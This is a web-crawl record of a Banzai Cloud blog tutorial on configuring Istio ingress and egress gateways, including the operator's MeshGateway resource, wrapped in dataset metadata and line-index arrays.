10309,
10372,
10439,
10494,
10526,
10554,
10602,
10627,
10680,
10726,
10813,
10884,
10912,
10958,
10984,
11022,
11046,
11069,
11074,
11075,
11106,
11107,
11182,
11183,
11224,
11225,
11250,
11276,
11319,
11320,
11489,
11490,
11549,
11550,
11945,
12441,
12442,
12483,
12484,
12621,
12622,
12663,
12689,
12737,
12776,
12847,
12881,
12965,
13013,
13023,
13029,
13051,
13100,
13131,
13178,
13217,
13272,
13286,
13362,
13372,
13417,
13452,
13650,
13848,
14046,
14244,
14294,
14304,
14317,
14348,
14408,
14425,
14483,
14493,
14499,
14504,
14505,
14545,
14584,
14630,
14828,
14866,
14913,
14983,
15022,
15032,
15045,
15243,
15301,
15333,
15343,
15361,
15400,
15451,
15492,
15537,
15570,
15580,
15586,
15612,
15617,
15618,
15649,
15678,
15701,
15727,
15757,
15784,
15789,
15790,
15857,
15894,
15918,
15926,
15987,
16011,
16019,
16056,
16087,
16110,
16118,
16153,
16182,
16205,
16213,
16218,
16219,
16282,
16302,
16307,
16377,
16405,
16433,
16504,
16535,
16592,
16604,
16634,
16642,
16662,
16667,
16668,
16709,
16710,
16958,
16959,
17000,
17001,
17164,
17165,
17233,
17234,
17408,
17409,
17654,
17655,
17740,
17741,
18033,
18034,
18075,
18076,
18317,
18318,
18737,
18738,
18920,
18921,
18962,
18963,
18991,
19029,
19030,
19190,
19191,
19239
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 19239,
"ccnet_original_nlines": 298,
"rps_doc_curly_bracket": 0.005093819927424192,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.26163724064826965,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.014847509562969208,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3507223129272461,
"rps_doc_frac_unique_words": 0.34667572379112244,
"rps_doc_mean_word_length": 5.795793533325195,
"rps_doc_num_sentences": 178,
"rps_doc_symbol_to_word_ratio": 0.0008025700226426125,
"rps_doc_unigram_entropy": 5.597600936889648,
"rps_doc_word_count": 1474,
"rps_doc_frac_chars_dupe_10grams": 0.2917008101940155,
"rps_doc_frac_chars_dupe_5grams": 0.37118107080459595,
"rps_doc_frac_chars_dupe_6grams": 0.36041203141212463,
"rps_doc_frac_chars_dupe_7grams": 0.32705140113830566,
"rps_doc_frac_chars_dupe_8grams": 0.30270397663116455,
"rps_doc_frac_chars_dupe_9grams": 0.2917008101940155,
"rps_doc_frac_chars_top_2gram": 0.009130280464887619,
"rps_doc_frac_chars_top_3gram": 0.013695419766008854,
"rps_doc_frac_chars_top_4gram": 0.016855910420417786,
"rps_doc_books_importance": -944.595703125,
"rps_doc_books_importance_length_correction": -944.595703125,
"rps_doc_openwebtext_importance": -635.2490234375,
"rps_doc_openwebtext_importance_length_correction": -635.2490234375,
"rps_doc_wikipedia_importance": -538.2507934570312,
"rps_doc_wikipedia_importance_length_correction": -538.2507934570312
},
"fasttext": {
"dclm": 0.6352716684341431,
"english": 0.734398603439331,
"fineweb_edu_approx": 1.4909157752990723,
"eai_general_math": 0.7272453308105469,
"eai_open_web_math": 0.1921040415763855,
"eai_web_code": 0.44130247831344604
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,275,911,903,134,720,000 | Banzai Cloud is now part of Cisco
Banzai Cloud Logo Close
Home Products Benefits Blog Company Contact
In today’s blogpost we’re going to be discussing ingress and egress gateways. First, we’ll cover the basics, then we’ll go into detail and explore how they work through a series of practical examples. Ingress and egress gateways are load balancers that operate at the edges of any network receiving incoming or outgoing HTTP/TCP connections. Ingress gateways make it possible to define an entry points into an Istio mesh for all incoming traffic to flow through. Egress gateways are similar: they define exit points from the mesh, but also allow for the application of Istio features to the traffic exiting the mesh. Some examples of these features are monitoring, routing rules and retries.
In Istio, both gateways are based on Envoy. Envoy handles reverse proxying and load balancing for services running inside a service mesh’s network, and also for external services outside the mesh. An Istio gateway in a Kubernetes cluster consists of, at minimum, a Deployment and a Service. For an ingress gateway the latter is typically a LoadBalancer-type service, or, when an ingress gateway is used solely within a cluster, a ClusterIP-type service. For an egress gateway the service type is almost always ClusterIP.
Although Istio can be configured to support Kubernetes Ingress Resources, a better approach would be to use Istio’s custom resources (Gateway, VirtualService). That way you can use Istio features for more than internal services, including ingresses, giving you access to way more features than you’d have with just Kubernetes’ Ingress Resources.
The Gateway resource describes the port configuration of the gateway deployment that operates at the edge of the mesh and receives incoming or outgoing HTTP/TCP connections. The specification describes a set of ports that should be exposed, the type of protocol to use, TLS configuration – if any – of the exposed ports, and so on. For more information about Gateways, see the Istio documentation.
VirtualService defines a set of traffic routing rules to apply when a host is addressed. Each routing rule defines matching criteria for the traffic of a specific protocol. If the traffic matches a routing rule, then it is sent to a named destination service defined in the registry. For example, it can route requests to different versions of a service or to a completely different service than was requested. Requests can be routed based on the request source and destination, HTTP paths and header fields, and weights associated with individual service versions.
For more information about VirtualServices, see the Istio documentation.
Istio Ingress and Egress Gateways, showtime 🔗︎
Our only prerequisite before exploring these concepts through examples is the creation of a Kubernetes cluster.
You can create a Kubernetes cluster on five different cloud providers, or on-premise via the free developer version of the Pipeline platform. But you can also bring your own cluster.
Install Istio using Backyards 🔗︎
The easiest way to install a production ready Istio and a demo application on a brand new cluster is to use the Backyards CLI.
Register for an evaluation version and run the following command to install the CLI tool (KUBECONFIG must be set for your cluster):
As you might know, Cisco has recently acquired Banzai Cloud. Currently we are in a transitional period and are moving our infrastructure. Contact us so we can discuss your needs and requirements, and organize a live demo.
Evaluation downloads are temporarily suspended. Contact us to discuss your needs and requirements, and organize a live demo.
This command installs Istio with the Banzai Cloud open-source Istio operator, then installs Backyards itself, as well as an application for demonstration purposes. After the installation has finished, the Backyards UI will automatically open and send some traffic to the demo application. Issuing this one simple command causes Backyards to start a new Istio mesh in just a few minutes!
You can read more about the latest Backyards release here
Using the main ingress gateway 🔗︎
Remember, as we talked about earlier in this post, ingress gateways enable us to expose services to the external world. Accordingly, an ingress gateway serves as the entry point for all services running within the mesh.
Ingress Gateway
Determining the ingress IP 🔗︎
In order to expose a service, you must first know the external IP of the ingress gateway. Fortunately, the Banzai Cloud Istio operator helps us with this.
❯ kubectl -n istio-system get istio mesh
NAME STATUS ERROR GATEWAYS AGE
mesh Available [18.184.240.108 18.196.72.62] 15m
In general, you should manually set an external hostname that points to these addresses, but for demo purposes you can use xip.io, which is a domain name that provides wildcard DNS for any IP address.
Expose a service through the ingress gateway 🔗︎
The demo application that comes with Backyards contains several microservices. The frontpage service serves as the entry point of that application. Now, let’s create a Gateway and a VirtualService resource to expose the frontpage service.
If you’re using xip.io, the external hostname for the service is going to be either frontpage.18.184.240.108.xip.io or frontpage.18.196.72.62.xip.io.
Create Gateway resource 🔗︎
The following Gateway resource configures listening ports on the matching gateway deployment.
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
name: frontpage
namespace: backyards-demo
spec:
selector:
istio: ingressgateway # use Istio default gateway implementation
servers:
- port:
number: 80
name: http
protocol: HTTP
hosts:
- "frontpage.18.184.240.108.xip.io"
- "frontpage.18.196.72.62.xip.io"
Create VirtualService resource 🔗︎
The following VirtualService resource configures routing for the external hosts within the mesh.
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: frontpage
namespace: backyards-demo
spec:
hosts:
- "frontpage.18.184.240.108.xip.io"
- "frontpage.18.196.72.62.xip.io"
gateways:
- frontpage
http:
- route:
- destination:
port:
number: 8080
host: frontpage.backyards-demo.svc.cluster.local
Access the service on the external address 🔗︎
Try to access the service on the external address you just configured, on host frontpage.18.184.240.108.xip.io. If everything is set correctly, the following command will return an HTTP 200 status code.
❯ curl -i frontpage.18.184.240.108.xip.io
HTTP/1.1 200 OK
content-type: text/plain
date: Sun, 02 Feb 2020 19:15:14 GMT
content-length: 9
x-envoy-upstream-service-time: 16
server: istio-envoy
frontpage
Inbound traffic through ingress
Create and use multiple ingress gateways 🔗︎
Having one ingress and egress gateway to handle incoming and outgoing traffic from the mesh is part of a basic Istio installation and has been supported by the Banzai Cloud Istio operator from day one, but in large enterprise deployments our customers typically use Backyards with multiple ingress or egress gateways.
Multiple Ingress Gateways
The Banzai Cloud Istio operator and multiple gateways 🔗︎
The Banzai Cloud Istio operator has an Istio custom resource that defines mesh configurations. The main ingress/egress gateways are part of the specifications of that resource.
spec:
...
gateways:
egress:
enabled: true
maxReplicas: 1
minReplicas: 1
ports:
- name: http2
port: 80
protocol: TCP
targetPort: 80
- name: https
port: 443
protocol: TCP
targetPort: 443
replicaCount: 1
sds:
enabled: false
image: docker.io/istio/node-agent-k8s:1.4.3
serviceType: ClusterIP
enabled: true
ingress:
enabled: true
maxReplicas: 1
minReplicas: 1
ports:
- name: status-port
port: 15020
protocol: TCP
targetPort: 15020
- name: http2
port: 80
protocol: TCP
targetPort: 80
- name: https
port: 443
protocol: TCP
targetPort: 443
- name: tls
port: 15443
protocol: TCP
targetPort: 15443
replicaCount: 1
sds:
enabled: false
image: docker.io/istio/node-agent-k8s:1.4.3
serviceType: LoadBalancer
...
One way to support multiple gateways would have been to add support for specifying them in the existing custom resource. But we chose a radically different approach for the following reasons:
• a separate controller should reconcile gateways, as there could be multiple gateways in multiple namespaces
• RBAC: having a separate CR allows us to properly control who can manage gateways, without having permissions to modify other parts of the Istio mesh configuration
Thus, we have added a new CRD to the Banzai Cloud Istio operator, called the MeshGateway, that can be used to add and configure a new Istio ingress or egress gateway into the mesh. When you create a new MeshGateway CR, the Banzai Cloud Istio operator will take care of configuring and reconciling the necessary resources, including the Envoy deployment and its related Kubernetes service.
Create a new service in the default namespace and expose it 🔗︎
To demonstrate how to create and use multiple ingress gateways, let’s add a simple service to the default namespace.
❯ kubectl apply -f https://raw.githubusercontent.com/banzaicloud/istio-operator/release-1.4/docs/federation/multimesh/echo-service.yaml
deployment.extensions/echo created
service/echo created
It would be possible to expose this echo service through the existing ingress gateway, similar to the way we would for the frontpage service, but let’s assume we need to expose this service on port 8000, without modifying the existing ingress gateway.
Create a new ingress gateway using the MeshGateway resource 🔗︎
Apply the following resource and the operator will create a new ingress gateway deployment, and a corresponding service.
apiVersion: istio.banzaicloud.io/v1beta1
kind: MeshGateway
metadata:
name: echo-ingress
namespace: default
spec:
maxReplicas: 1
minReplicas: 1
ports:
- name: http
port: 8000
protocol: TCP
targetPort: 8000
serviceType: LoadBalancer
type: ingress
The MeshGateway resource automatically labels the created Service and Deployment resources with the gateway-name and gateway-type labels and their corresponding values.
Get the echo ingress gateway IP 🔗︎
❯ kubectl -n default get meshgateways echo-ingress
NAME TYPE SERVICE TYPE STATUS INGRESS IPS ERROR AGE
echo-ingress ingress LoadBalancer Available [18.185.173.38 18.197.110.20] 29m
Create Gateway and VirtualService resources 🔗︎
Just like in the first example, the following Gateway and VirtualService resources are necessary to configure listening ports on the matching gateway deployment.
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
name: echo
namespace: default
spec:
selector:
gateway-name: echo-ingress
gateway-type: ingress
servers:
- port:
number: 8000
name: http
protocol: HTTP
hosts:
- "echo.18.197.110.20.xip.io"
- "echo.18.185.173.38.xip.io"
---
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: echo
namespace: default
spec:
hosts:
- "echo.18.197.110.20.xip.io"
- "echo.18.185.173.38.xip.io"
gateways:
- echo
http:
- route:
- destination:
port:
number: 80
host: echo.default.svc.cluster.local
Access the echo service on the external address 🔗︎
The service should be accessible on host echo.18.197.110.20.xip.io and port 8000.
❯ curl -i echo.18.197.110.20.xip.io:8000
HTTP/1.1 200 OK
date: Sun, 02 Feb 2020 19:22:15 GMT
content-type: text/plain
server: istio-envoy
x-envoy-upstream-service-time: 1
Hostname: echo-68578cf9d9-874rz
...
Our ability to easily create ingress gateways gives you fine-grained control over how services are exposed to the outside world. That way, teams can manage the exposure of their own services without running the risk of misconfiguring the services of other teams. Another way of tackling this potential issue is to have separate load balancer configurations with, for example, different port level settings.
Accessing External Services 🔗︎
Direct outbound traffic 🔗︎
Any traffic that’s outbound from a pod with an Istio sidecar will also pass through that sidecar’s container, or, more precisely, through Envoy. Therefore, the accessibility of external services depends on the configuration of that Envoy proxy. By default, Istio configures the Envoy proxy to passthrough requests for unknown services. Although this provides a convenient way of getting started with Istio, its generally a good idea to put stricter controls in place.
To read more about the Sidecar object configuration, check out this informative blog post:.
Direct outbound traffic
Check the default outbound traffic policy 🔗︎
❯ kubectl -n istio-system get istio mesh -o jsonpath='{@.spec.outboundTrafficPolicy.mode}{"\n"}'
ALLOW_ANY
This traffic policy should be set to ALLOW_ANY by default.
Make an HTTP request to httpbin.org from the echo service container in the default namespace 🔗︎
❯ kubectl -n default exec -ti deploy/echo -- curl -sD /dev/stderr http://httpbin.org -o/dev/null |head -5
Defaulting container name to echo-service.
Use 'kubectl describe pod/echo-68578cf9d9-874rz -n default' to see all of the containers in this pod.
HTTP/1.1 200 OK
date: Sun, 02 Feb 2020 20:43:40 GMT
content-type: text/html; charset=utf-8
content-length: 9593
server: envoy
This should work fine, since, by default, every sidecar sends traffic towards unknown services through its passhtrough proxy.
Change the default outbound traffic policy to block unknown services 🔗︎
Now we’re going to demonstrate a more controlled way of enabling access to external services. Change the spec.outboundTrafficPolicy.mode option from the ALLOW_ANY mode to the REGISTRY_ONLY mode in the mesh Istio resource in the istio-system namespace.
❯ kubectl -n istio-system patch istio mesh -p '{"spec":{"outboundTrafficPolicy":{"mode":"REGISTRY_ONLY"}}}' --type='merge'
istio.istio.banzaicloud.io/mesh patched
Make another HTTP request to httpbin.org from the echo service container in the default namespace 🔗︎
❯ kubectl -n default exec -ti deploy/echo -- curl -sD /dev/stderr http://httpbin.org -o/dev/null |head -5
HTTP/1.1 502 Bad Gateway
location: http://httpbin.org/
date: Sun, 02 Feb 2020 20:53:44 GMT
server: envoy
content-length: 0
Now we’re getting a 502 response code, since now the traffic towards external services is blocked and it is going through Envoy’s blackhole cluster.
Create a ServiceEntry to allow HTTP access to httpbin.org 🔗︎
ServiceEntry resources enable adding additional entries into Istio’s internal service registry, so that auto-discovered services in the mesh can access/route to these manually specified services. A service entry describes the properties of a service (DNS name, VIPs, ports, protocols, endpoints). These services could be external to the mesh (for example, web APIs) or mesh-internal services that are not part of the platform’s service registry. For more information about the ServiceEntry resource, see the Istio documentation.
Apply the following ServiceEntry to allow for HTTP access to httpbin.org
apiVersion: networking.istio.io/v1alpha3
kind: ServiceEntry
metadata:
name: httpbin-ext
namespace: default
spec:
hosts:
- httpbin.org
ports:
- number: 80
name: http
protocol: HTTP
resolution: DNS
location: MESH_EXTERNAL
Make another HTTP request to httpbin.org from the echo service container in the default namespace 🔗︎
❯ kubectl -n default exec -ti deploy/echo -- curl -sD /dev/stderr http://httpbin.org -o/dev/null |head -5
Defaulting container name to echo-service.
Use 'kubectl describe pod/echo-68578cf9d9-874rz -n default' to see all of the containers in this pod.
HTTP/1.1 200 OK
date: Sun, 02 Feb 2020 21:13:40 GMT
content-type: text/html; charset=utf-8
content-length: 9593
server: envoy
Outbound traffic through an egress gateway 🔗︎
As you probably recall from earlier in this blogpost, egress gateways are exit points from the mesh that allow us to apply Istio features. This includes applying features like monitoring and route rules to traffic that’s exiting the mesh.
Use cases 🔗︎
Let’s take a quick look at some use cases.
Consider an organization which requires some, or all, outbound traffic to go through dedicated nodes. These nodes could be separated from the rest of the nodes for the purposes of monitoring and policy enforcement.
Now imagine a cluster where the application nodes don’t have public IPs, so the in-mesh services that run on them cannot access the internet directly. Defining an egress gateway and routing egress traffic through it, then allocating public IPs to the gateway nodes would allow for controlled access to external services.
Outbound traffic through Egress Gateway
Create an egress gateway with the MeshGateway resource 🔗︎
Apply the following resource and the Istio operator will create a new egress gateway deployment and a corresponding service.
apiVersion: istio.banzaicloud.io/v1beta1
kind: MeshGateway
metadata:
name: egress
namespace: default
spec:
maxReplicas: 1
minReplicas: 1
ports:
- name: http
port: 80
protocol: TCP
targetPort: 80
serviceType: ClusterIP
type: egress
Create a Gateway resource for the egress gateway 🔗︎
Similar to the ingress gateway configuration, a Gateway resource must be created that will be a bridge between Istio configuration resources and the deployment of a matching gateway.
Apply the following Gateway resource to configure the outbound port, 80, on the egress gateway that was just defined in the previous step.
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
name: egress
namespace: default
spec:
selector:
gateway-name: egress
gateway-type: egress
servers:
- port:
number: 80
name: http
protocol: HTTP
hosts:
- "*"
Define a VirtualService resource to direct traffic from the sidecars to the egress gateway 🔗︎
Apply the following VirtualService to direct traffic from the sidecars to the egress gateway and also from the egress gateway to the external service.
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: httpbin-egress
spec:
hosts:
- httpbin.org
gateways:
- egress
- mesh
http:
- match:
- gateways:
- mesh
port: 80
route:
- destination:
host: egress.default.svc.cluster.local
port:
number: 80
- match:
- gateways:
- egress
port: 80
route:
- destination:
host: httpbin.org
port:
number: 80
Resend an HTTP request to httpbin.org from the echo service container in the default namespace 🔗︎
❯ kubectl -n default exec -ti deploy/echo -- curl -sD /dev/stderr http://httpbin.org/headers -o/dev/null |head -5
Defaulting container name to echo-service.
Use 'kubectl describe pod/echo-68578cf9d9-874rz -n default' to see all of the containers in this pod.
HTTP/1.1 200 OK
date: Sun, 02 Feb 2020 22:20:28 GMT
content-type: application/json
content-length: 1850
server: envoy
Output should be the same as earlier, but if we check the logs of the egress gateway, it shows that the request actually went through the egress gateway.
❯ kubectl -n default logs -l gateway-name=egress,gateway-type=egress -c istio-proxy | tail -1
[2020-02-02T22:20:29.191Z] "GET /headers HTTP/1.1" 200 - "-" "-" 0 1850 173 173 "10.20.5.1" "curl/7.47.0" "bf26bf45-4a0b-4d78-a968-98515a890a91" "httpbin.org" "52.202.2.199:80" outbound|80||httpbin.org - 10.20.5.16:80 10.20.5.1:58584 - -
Takeaway 🔗︎
Ingress and egress gateways are core concepts of a service mesh. Although Istio itself provides the basic building blocks, having an easy and simple way to create and manage multiple mesh gateways is a must. The Banzai Cloud Istio operator provides support with a new CRD called MeshGateway. Give it a try, and quickstart your Istio experience with Backyards!
About Banzai Cloud Istio operator 🔗︎
Banzai Cloud Istio operator is a simple way to deploy, manage and maintain Istio service meshes, even in multi-cluster topologies.
About Backyards 🔗︎
Banzai Cloud’s Backyards is a multi and hybrid-cloud enabled service mesh platform for constructing modern applications. Built on Kubernetes, our Istio operator and the Banzai Cloud Pipeline platform gives you flexibility, portability, and consistency across on-premise datacenters and on five cloud environments. Use our simple, yet extremely powerful UI and CLI, and experience automated canary releases, traffic shifting, routing, secure service communication, in-depth observability and more, for yourself.
About Banzai Cloud 🔗︎
Banzai Cloud is changing how private clouds are built: simplifying the development, deployment, and scaling of complex applications, and putting the power of Kubernetes and Cloud Native technologies in the hands of developers and enterprises, everywhere.
#multicloud #hybridcloud #BanzaiCloud | {
"url": "https://banzaicloud.com/blog/istio-multiple-gateways/",
"source_domain": "banzaicloud.com",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "81129",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XSAXWAWMCJCGASVFFEIL3H5VIUNCFSQK",
"WARC-Concurrent-To": "<urn:uuid:74ac364c-07ff-4894-a8c7-b3911fefac8c>",
"WARC-Date": "2021-07-31T03:22:05Z",
"WARC-IP-Address": "13.32.199.51",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:WZ3MH5GHPOP6QK4FYFKQ4VPCH74MAD6C",
"WARC-Record-ID": "<urn:uuid:0944ed7a-c3cd-467e-8097-007133601476>",
"WARC-Target-URI": "https://banzaicloud.com/blog/istio-multiple-gateways/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c06d0a13-d4ae-4811-8099-39ec39426707>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-104.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
34,
35,
59,
103,
104,
796,
797,
1318,
1319,
1665,
1666,
2064,
2065,
2631,
2632,
2705,
2706,
2753,
2754,
2866,
2867,
3050,
3051,
3084,
3085,
3212,
3213,
3345,
3346,
3568,
3569,
3694,
3695,
4082,
4083,
4141,
4142,
4176,
4177,
4397,
4398,
4414,
4415,
4445,
4446,
4601,
4602,
4643,
4644,
4707,
4770,
4771,
4972,
4973,
5021,
5022,
5261,
5262,
5412,
5413,
5440,
5441,
5535,
5536,
5577,
5591,
5601,
5619,
5647,
5653,
5665,
5734,
5745,
5755,
5772,
5789,
5810,
5821,
5861,
5899,
5900,
5934,
5935,
6032,
6033,
6074,
6095,
6105,
6123,
6151,
6157,
6166,
6204,
6240,
6252,
6266,
6274,
6285,
6304,
6318,
6341,
6398,
6399,
6445,
6446,
6649,
6650,
6692,
6693,
6709,
6734,
6770,
6788,
6822,
6842,
6843,
6853,
6854,
6886,
6887,
6931,
6932,
7250,
7251,
7277,
7278,
7335,
7336,
7513,
7514,
7520,
7526,
7538,
7550,
7570,
7591,
7612,
7625,
7645,
7662,
7684,
7707,
7727,
7745,
7767,
7791,
7813,
7824,
7847,
7899,
7928,
7946,
7959,
7979,
8000,
8021,
8034,
8060,
8080,
8102,
8128,
8148,
8165,
8187,
8210,
8230,
8248,
8270,
8294,
8312,
8332,
8354,
8380,
8402,
8413,
8436,
8488,
8520,
8528,
8529,
8721,
8722,
8834,
9001,
9002,
9391,
9392,
9455,
9456,
9573,
9574,
9710,
9711,
9746,
9767,
9768,
10020,
10021,
10084,
10085,
10206,
10207,
10248,
10266,
10276,
10297,
10318,
10324,
10341,
10358,
10367,
10382,
10397,
10415,
10436,
10464,
10480,
10481,
10650,
10651,
10686,
10687,
10738,
10739,
10835,
10931,
10932,
10979,
10980,
11142,
11143,
11184,
11198,
11208,
11221,
11242,
11248,
11260,
11291,
11317,
11328,
11338,
11357,
11374,
11395,
11406,
11440,
11474,
11478,
11519,
11540,
11550,
11563,
11584,
11590,
11599,
11631,
11663,
11675,
11684,
11692,
11703,
11722,
11736,
11757,
11802,
11803,
11854,
11855,
11937,
11938,
11979,
11980,
11996,
12032,
12057,
12077,
12110,
12111,
12143,
12147,
12148,
12555,
12556,
12587,
12588,
12615,
12616,
13084,
13085,
13177,
13178,
13202,
13203,
13248,
13249,
13346,
13347,
13357,
13358,
13417,
13418,
13514,
13515,
13621,
13622,
13665,
13767,
13783,
13819,
13858,
13879,
13893,
13894,
14020,
14021,
14093,
14094,
14346,
14347,
14470,
14471,
14511,
14512,
14613,
14614,
14720,
14721,
14746,
14776,
14812,
14826,
14844,
14845,
14994,
14995,
15056,
15057,
15586,
15587,
15660,
15661,
15702,
15721,
15731,
15751,
15772,
15778,
15787,
15803,
15812,
15827,
15842,
15861,
15879,
15905,
15906,
16007,
16008,
16114,
16115,
16158,
16260,
16276,
16312,
16351,
16372,
16386,
16387,
16433,
16434,
16673,
16674,
16687,
16688,
16731,
16732,
16947,
16948,
17269,
17270,
17310,
17311,
17369,
17370,
17495,
17496,
17537,
17555,
17565,
17580,
17601,
17607,
17624,
17641,
17650,
17665,
17678,
17696,
17715,
17740,
17755,
17756,
17808,
17809,
17992,
17993,
18132,
18133,
18174,
18188,
18198,
18213,
18234,
18240,
18252,
18277,
18302,
18313,
18323,
18340,
18357,
18378,
18389,
18399,
18400,
18494,
18495,
18646,
18647,
18688,
18709,
18719,
18742,
18748,
18757,
18773,
18785,
18796,
18805,
18813,
18824,
18840,
18853,
18868,
18879,
18898,
18945,
18959,
18980,
18991,
19007,
19022,
19037,
19048,
19067,
19093,
19107,
19128,
19129,
19227,
19228,
19342,
19343,
19386,
19488,
19504,
19540,
19571,
19592,
19606,
19607,
19761,
19762,
19856,
19857,
20095,
20096,
20108,
20109,
20469,
20470,
20507,
20508,
20639,
20640,
20659,
20660,
21171,
21172,
21194,
21195,
21450,
21451
],
"line_end_idx": [
34,
35,
59,
103,
104,
796,
797,
1318,
1319,
1665,
1666,
2064,
2065,
2631,
2632,
2705,
2706,
2753,
2754,
2866,
2867,
3050,
3051,
3084,
3085,
3212,
3213,
3345,
3346,
3568,
3569,
3694,
3695,
4082,
4083,
4141,
4142,
4176,
4177,
4397,
4398,
4414,
4415,
4445,
4446,
4601,
4602,
4643,
4644,
4707,
4770,
4771,
4972,
4973,
5021,
5022,
5261,
5262,
5412,
5413,
5440,
5441,
5535,
5536,
5577,
5591,
5601,
5619,
5647,
5653,
5665,
5734,
5745,
5755,
5772,
5789,
5810,
5821,
5861,
5899,
5900,
5934,
5935,
6032,
6033,
6074,
6095,
6105,
6123,
6151,
6157,
6166,
6204,
6240,
6252,
6266,
6274,
6285,
6304,
6318,
6341,
6398,
6399,
6445,
6446,
6649,
6650,
6692,
6693,
6709,
6734,
6770,
6788,
6822,
6842,
6843,
6853,
6854,
6886,
6887,
6931,
6932,
7250,
7251,
7277,
7278,
7335,
7336,
7513,
7514,
7520,
7526,
7538,
7550,
7570,
7591,
7612,
7625,
7645,
7662,
7684,
7707,
7727,
7745,
7767,
7791,
7813,
7824,
7847,
7899,
7928,
7946,
7959,
7979,
8000,
8021,
8034,
8060,
8080,
8102,
8128,
8148,
8165,
8187,
8210,
8230,
8248,
8270,
8294,
8312,
8332,
8354,
8380,
8402,
8413,
8436,
8488,
8520,
8528,
8529,
8721,
8722,
8834,
9001,
9002,
9391,
9392,
9455,
9456,
9573,
9574,
9710,
9711,
9746,
9767,
9768,
10020,
10021,
10084,
10085,
10206,
10207,
10248,
10266,
10276,
10297,
10318,
10324,
10341,
10358,
10367,
10382,
10397,
10415,
10436,
10464,
10480,
10481,
10650,
10651,
10686,
10687,
10738,
10739,
10835,
10931,
10932,
10979,
10980,
11142,
11143,
11184,
11198,
11208,
11221,
11242,
11248,
11260,
11291,
11317,
11328,
11338,
11357,
11374,
11395,
11406,
11440,
11474,
11478,
11519,
11540,
11550,
11563,
11584,
11590,
11599,
11631,
11663,
11675,
11684,
11692,
11703,
11722,
11736,
11757,
11802,
11803,
11854,
11855,
11937,
11938,
11979,
11980,
11996,
12032,
12057,
12077,
12110,
12111,
12143,
12147,
12148,
12555,
12556,
12587,
12588,
12615,
12616,
13084,
13085,
13177,
13178,
13202,
13203,
13248,
13249,
13346,
13347,
13357,
13358,
13417,
13418,
13514,
13515,
13621,
13622,
13665,
13767,
13783,
13819,
13858,
13879,
13893,
13894,
14020,
14021,
14093,
14094,
14346,
14347,
14470,
14471,
14511,
14512,
14613,
14614,
14720,
14721,
14746,
14776,
14812,
14826,
14844,
14845,
14994,
14995,
15056,
15057,
15586,
15587,
15660,
15661,
15702,
15721,
15731,
15751,
15772,
15778,
15787,
15803,
15812,
15827,
15842,
15861,
15879,
15905,
15906,
16007,
16008,
16114,
16115,
16158,
16260,
16276,
16312,
16351,
16372,
16386,
16387,
16433,
16434,
16673,
16674,
16687,
16688,
16731,
16732,
16947,
16948,
17269,
17270,
17310,
17311,
17369,
17370,
17495,
17496,
17537,
17555,
17565,
17580,
17601,
17607,
17624,
17641,
17650,
17665,
17678,
17696,
17715,
17740,
17755,
17756,
17808,
17809,
17992,
17993,
18132,
18133,
18174,
18188,
18198,
18213,
18234,
18240,
18252,
18277,
18302,
18313,
18323,
18340,
18357,
18378,
18389,
18399,
18400,
18494,
18495,
18646,
18647,
18688,
18709,
18719,
18742,
18748,
18757,
18773,
18785,
18796,
18805,
18813,
18824,
18840,
18853,
18868,
18879,
18898,
18945,
18959,
18980,
18991,
19007,
19022,
19037,
19048,
19067,
19093,
19107,
19128,
19129,
19227,
19228,
19342,
19343,
19386,
19488,
19504,
19540,
19571,
19592,
19606,
19607,
19761,
19762,
19856,
19857,
20095,
20096,
